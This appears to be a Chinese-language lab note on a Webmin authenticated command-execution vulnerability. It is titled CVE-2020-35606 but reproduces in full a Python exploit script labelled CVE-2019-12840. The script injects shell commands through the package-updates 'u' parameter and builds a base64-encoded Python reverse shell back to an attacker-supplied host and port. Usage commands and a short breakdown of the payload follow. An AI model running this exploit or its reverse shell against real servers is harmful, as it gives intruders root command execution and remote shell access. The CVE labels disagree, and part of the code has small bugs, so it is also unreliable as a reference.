Skip to content

Latest commit

 

History

History
207 lines (163 loc) · 7.66 KB

Webmin 命令执行漏洞 (CVE-2020-35606).md

File metadata and controls

207 lines (163 loc) · 7.66 KB

Webmin 命令执行漏洞 (CVE-2020-35606)

描述: Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.962版本及之前版本存在安全漏洞,该漏洞允许执行任意命令。任何被授权使用Package Updates模块的用户都可以使用根权限通过包含和的向量执行任意命令。 账户密码:root:password

漏洞利用:

打开需要ssl证书

换成https就行

https://ip:port/session_login.cgi打开登录窗口

poc下载地址:

https://github.com/KrE80r/webmin_cve-2019-12840_poc

#!/usr/bin/python3

'''
# Exploit Title: Webmin Package Updates Remote Command Execution
# Date: 09/11/2019
# Exploit Author: KrE80r (@KrE80r)
# CVE : CVE-2019-12840
# Vendor Homepage: http://webmin.com/
# Version: <= 1.910 
# Tested on: Ubuntu 16.04, Ubuntu 18.04
# Refernces: https://secfa.org/?p=17, https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html
'''


import requests
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import argparse
import sys
import base64
from colorama import Fore, Style
from bs4 import BeautifulSoup

banner = '''
  _______      ________    ___   ___  __  ___        __ ___   ___  _  _    ___  
 / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ |__ \ / _ \| || |  / _ \ 
| |     \ \  / /| |__ ______ ) | | | || | (_) |______| |  ) | (_) | || |_| | | |
| |      \ \/ / |  __|______/ /| | | || |\__, |______| | / / > _ <|__   _| | | |
| |____   \  /  | |____    / /_| |_| || |  / /       | |/ /_| (_) |  | | | |_| |
 \_____|   \/   |______|  |____|\___/ |_| /_/        |_|____|\___/   |_|  \___/ 
                                                                              
                           by KrE80r 

             Webmin <= 1.910 RCE (Authorization Required)

usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
'''

def CVE_2019_12840(url,auth_base64,cmd):
    vuln_url = url + '/package-updates/update.cgi'
    headers = {
    "User-Agent":"webmin",
    "Connection":"close",
    "Content-Type":"application/x-www-form-urlencoded",
    "Referer": url + "package-updates/update.cgi?xnavigation=1"
    }


    payload = r'OBJECT CGI;print "Content-Type: Test\n\n";'+'$cmd=`%s`;print "$cmd";' % cmd
    r = requests.post(url=vuln_url, data=payload, headers=headers, verify=False)
    if r.status_code ==200 and 'Content-type' in r.text:
        m = re.findall(r"(.+?)\nContent-type: text/plain",r.text,re.S)
    else:
        sys.exit(1)



def login(username,password,url):
    print(Fore.YELLOW + "[*] logging in ...")
    print(Style.RESET_ALL) 
    session = requests.Session()
    session.cookies["testing"] = "1"
    data = {'page' : '', 'user' : username, 'pass' : password}
    loginurl = url+"/session_login.cgi"
    res = session.post(loginurl, data=data, verify=False,allow_redirects=False)
    
    if res.status_code != 302 or session.cookies["sid"] == None:
        print(Fore.RED +"[-] Failed to login!!")
        print(Style.RESET_ALL) 
        sys.exit(1)
    else:
        return session.cookies["sid"]
      
def exploit(sid,url,cmd):
    print(Fore.YELLOW + "[*] sending command", cmd)
    print(Style.RESET_ALL) 
    session = requests.Session()    
    referer = url + "/package-updates/update.cgi?xnavigation=1"
    cookies = "Cookie: redirect=1; testing=1;sid=" + sid
    headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0",
    "Connection": "close",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": referer,
    "X-Progressive-URL": url + "package-updates/update.cgi",
    "X-Requested-From": "package-updates",
    "X-Requested-From-Tab": "webmin",
    "X-Requested-With": "XMLHttpRequest",
    "Cookie": cookies
    }
    data = "mode=updates&search=&u=apt/apt&u=;"+ cmd + ";/apt&ok_top=Update+Selected+Packages"
    updateurl = url + "/package-updates/update.cgi"
    res = session.post(updateurl, data=data,headers=headers, verify=False)
    if res.status_code == 200:
        soup = BeautifulSoup(res.text, 'html.parser')
        #ain't perfect but does the job
        output = soup.find_all('pre')
        print(output)
        print(Fore.GREEN + "[+] exploit finished successfully!!")
        print(Style.RESET_ALL) 

def b64revshell(lhost,lport):
    payload = "python -c \"import base64;exec(base64.b64decode('"
    shellcode = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""+ lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
    shellcode = str.encode(shellcode)
    encoded = base64.b64encode(shellcode)
    encoded = encoded.decode("utf-8")
    closing = "'))\""
    payload += encoded
    payload += closing
    return payload
    
if __name__ == "__main__":
    print (Fore.GREEN + banner)
    print(Style.RESET_ALL) 
    parser = argparse.ArgumentParser()
    parser.add_argument("-U", dest="username", help="username", required=True)
    parser.add_argument("-P", dest="password", help="password", required=True)
    parser.add_argument("-u", dest="url", help="target url", required=True)
    parser.add_argument("-p", dest="port", default="10000", help="target port")#记得修改端口号
    parser.add_argument("-lport", dest="lport", default="443", help="local port for reverse shell")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-c", dest="cmd", help="command to execute")
    group.add_argument("-lhost", dest="lhost", help="Send back a reverse shell at port 443")
    args = parser.parse_args()
    baseurl = args.url + ':' + args.port
    sid = login(args.username,args.password,baseurl)
    sid = sid.strip()
    print(Fore.GREEN + "[+] got sid", sid)
    print(Style.RESET_ALL)
    if args.cmd:
        exploit(sid,baseurl,args.cmd)
    elif args.lhost:
        rev = b64revshell(args.lhost,args.lport)
        exploit(sid,baseurl,rev)

其中把端口号改成54909

python CVE-2019-12840.py -u  https://ip -U username -P password  -lport  54909(修改了脚本这里的端口可加可不加) -c "命令"  

image-20211023204039289

image-20211023204411555

接下来分析一下poc

怎么利用的

先是登录拿session,然后用这个session去构造cookie进而构造exploit

命令执行地址在这个点:

referer = url + "/package-updates/update.cgi?xnavigation=1"

payload:

data = "mode=updates&search=&u=apt/apt&u=;" + cmd + ";/apt&ok_top=Update+Selected+Packages"

更新回显点用于python爬虫

updateurl = url + "/package-updates/update.cgi"

将payload进行加密:

def b64revshell(lhost, lport):
    payload = "python -c \"import base64;exec(base64.b64decode('"
    shellcode = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + lhost + "\"," + lport + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
    shellcode = str.encode(shellcode)
    encoded = base64.b64encode(shellcode)
    encoded = encoded.decode("utf-8")
    closing = "'))\""
    payload += encoded
    payload += closing
    return payload